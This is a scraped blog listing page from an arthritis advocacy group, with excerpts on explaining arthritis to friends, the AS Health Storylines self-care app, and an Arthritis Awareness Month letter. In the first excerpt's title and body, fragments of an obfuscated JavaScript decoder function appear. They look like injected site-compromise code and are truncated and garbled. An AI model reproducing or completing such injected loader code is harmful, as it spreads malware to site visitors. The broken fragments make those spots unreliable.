All posts related to "disease"

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var /" title="Permalink to How to help others understand your arthritis" rel="bookmark">How to help others understand your arthritis

pair of glasses on a book pageBeing diagnosed with arthritis is tough, but the main challenge come when you try to get your friends to understand your arthritis. In an interview with the Arthritis Foundation, Mark Lumley, PhD, professor and director of clinical psychology training at Wayne State University in Detroit, Michigan, offers the following tips: function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var /#more-12144″ class=”more-link”>Continue reading

AS Health Storylines: An app for your AS journey

Screen grab image of appAS Health Storylines is a self-care app for ankylosing spondylitis (AS) and associated spondyloarthritis diseases. It is developed in partnership with the Canadian Spondylitis Association, and is powered by the Health Storylines™ platform from Self Care Catalysts Inc. The Canadian Spondylitis Association is a national association to advocate for and support those living with ankylosing spondylitis, psoriatic arthritis, and associated spondyloarthritis diseases.

This app is created with input from people with AS so that the right health tools are available to you. The app allows you to record your symptoms, fatigue levels, moods, and more. Choose what you want to track to build your own summary – “My Storylines” –  to learn more about your health, and to share – safely and securely – with your doctor about what happened between visits.

The following health tools in the app will help you better manage and monitor your AS or associated spondyloarthritis disease: Continue reading

“Suffering the Silence” during Arthritis Awareness Month

A picture of Cheryl Koehn

Dear ACE community members,

I’ve had rheumatoid arthritis for over a quarter century now, and I’m sick of it.

Canadians living with one of over 100 types of arthritis are told to understand that what they have is “just arthritis.” They are frustrated by the self-management routine they are supposed to be “in charge of” because they don’t have access to the very things they are supposed to self-manage with. They’re discouraged to read about other important diseases in the media spotlight, but not their own. They’re saddened that yet another Arthritis Month in Canada has begun without a cure for any type of arthritis. That’s how I feel, too. What about you?

Our community continues to face significant barriers to elevating arthritis with the public, governments and workplaces across the country where the havoc wreaked by the diseases is still underestimated and poorly understood.

Well, I’ve had enough. We can’t passively accept arthritis. It maims and kills, but people seem afraid to say that. I’m going to start saying it in my life and in my work.

I am rheumatoid arthritis. Who are you?

We need to break through the sound barrier. Please take a moment and tell me, tell your arthritis sisters and brothers, who you are. I want to know. Make millions know.
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